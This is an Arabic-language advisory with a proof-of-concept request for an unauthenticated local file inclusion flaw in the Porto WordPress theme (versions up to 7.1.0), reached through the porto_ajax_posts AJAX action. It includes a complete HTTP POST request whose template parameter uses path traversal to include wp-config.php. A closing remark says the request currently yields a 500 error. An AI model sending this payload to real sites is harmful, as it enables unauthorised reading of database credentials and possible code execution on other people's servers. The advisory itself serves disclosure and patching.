
Porto <= 7.1.0 - تضمين ملف محلي غير مصادق عليه عبر porto_ajax_posts
Porto <= 7.1.0 - تضمين ملفات محلي غير مصادق عليه عبر porto_ajax_posts
ثيم Porto لووردبريس معرض لثغرة تضمين الملفات المحلية (Local File Inclusion) في جميع الإصدارات حتى 7.1.0 بما فيها، وذلك عبر دالة 'porto_ajax_posts'. وهذا يتيح للمهاجمين غير المصادقين تضمين وتنفيذ ملفات عشوائية على الخادم، مما يسمح بتنفيذ أي كود PHP في تلك الملفات. يمكن استخدام هذا لتجاوز ضوابط الوصول، أو الحصول على بيانات حساسة، أو تحقيق تنفيذ كود في الحالات التي يمكن فيها رفع وتضمين ملفات من نوع php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
action=porto_ajax_posts&post_type=post&extra={"shortcode":"porto_posts_grid","template":"../../../../wp-config.php"}
الحصول على خطأ 500 في الوقت الحالي.